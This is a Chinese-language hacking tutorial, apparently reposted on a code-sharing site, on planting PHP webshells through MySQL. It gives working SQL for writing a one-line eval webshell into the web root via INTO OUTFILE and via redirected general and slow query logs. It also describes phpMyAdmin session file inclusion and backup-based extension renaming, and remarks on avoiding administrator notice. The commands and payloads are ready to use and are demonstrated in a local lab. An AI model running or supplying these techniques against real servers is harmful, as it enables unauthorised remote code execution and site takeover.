利用數據庫拿shell的一些姿勢


0x01、利用MySQL命令導出getshell

利用條件:

1、擁有網站的寫入權限

2、Secure_file_priv參數為空或者為指定路徑

3、知道網站的絕對路徑

方法:

通過into outfile 進行文件寫入,寫入一句話木馬

CREATE TABLE shell(cmd text);

INSERT INTO shell(cmd) VALUES('<?php @eval($_POST[CMD]); ?>');

SELECT cmd from shell INTO OUTFILE 'D:/php/www/shell.php';

*************************OR************************************

select '<?php @eval($_POST[CMD]); ?>' into outfile 'D:/php/www/shell.php';

測試:

利用PHPStudy打開MySQL命令行

 

通過show global variables like ‘%secure%’;命令查看secure_file_priv,這個參數用來限制數據的導入和導出操作。

 

如上圖所示,這個參數為NULL,MySQL服務會禁止導入和導出操作。

解決方法:

windows下:修改my.ini 在[mysqld]內加入secure_file_priv =

linux下:修改my.cnf 在[mysqld]內加入secure_file_priv =

 

然后重啟mysql,再查詢secure_file_priv

 

現在即可將一句話木馬導入到指定文件

 

用蟻劍連一下,可以成功連接。

 

0x02利用日志getshell

利用general_log和general_log_file拿shell

方法:

開啟general_log后,系統將mysql執行的每一條查詢語句寫入我們指定位置的文件里。而文件的位置則由general_log_file確定。我們可以開啟這個選項后,執行SELECT '<?php assert($_POST["cmd"]);?>';,這個指令就把木馬插入到我們指定的php文件中去了。

測試:

利用PHPStudy打開MySQL命令行

執行下面操作,修改general_log_file的值

set global general_log = "ON";

set global general_log_file=” D:/php/www/shell.php”

 

在查詢語句中寫入一句話木馬

 

這樣就成功將一句話寫入了我們指定的文件。

用蟻劍連一下,可以成功連接:

 

當然,也可以在phpmyadmin里面更改

 

利用慢查詢日志寫shell

原理:

慢查詢日志,只有當查詢語句執行的時間要超過系統默認的時間時,該語句才會被記入進慢查詢日志。

一般都是通過long_query_time選項來設置這個時間值,時間以秒為單位,可以精確到微秒。如果查詢時間超過了這個時間值,這個查詢語句將被記錄到慢查詢日志中。查看服務器默認時間值方式如下:

show global variables like '%long_query_time%';

 

通常情況下執行sql語句時的執行時間一般不會超過10s,所以說這個日志文件應該是比較小的,而且默認也是禁用狀態,不容易引起管理員的察覺。

測試:

利用PHPStudy打開MySQL命令行

 

執行下面操作,修改slow_query_log的值

set global slow_query_log = "ON";

set global slow_query_log_file =” D:/php/www/shell.php”

 

在查詢語句中寫入一句話木馬並延時10秒以上:

select "<?php @eval($_POST['cmd']); ?>" or sleep(11);

 

蟻劍連接測試

 

0x03 利用文件包含漏洞getshell

原理:

對於phpmyadmin來說有一種特殊的機制,所有SQL的執行操作將存入session。

所以,如果目標站點存在文件包含漏洞,我們可以通過包含session文件來拿shell。

測試:

利用PHPStudy啟一個環境。打開phpmyadmin,輸入sql查詢語句,執行

 

我們在session文件中就能找到這條語句的執行記錄:

 

為了測試,我手動建立了一個存在文件包含漏洞的php文件

 

然后去包含我們的session文件

 

蟻劍連接測試

 

0x04 利用數據庫備份getshell

網站對上傳的文件后綴進行過濾,不允許上傳腳本類型文件如asp/php/jsp/aspx等。

而網站具有數據庫備份功能,這時我們就可以將webshell格式先改為允許上傳的文件格式,如jpg、gif等,然后,我們找到上傳后的文件路徑,通過數據庫備份,將文件備份為腳本格式。

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM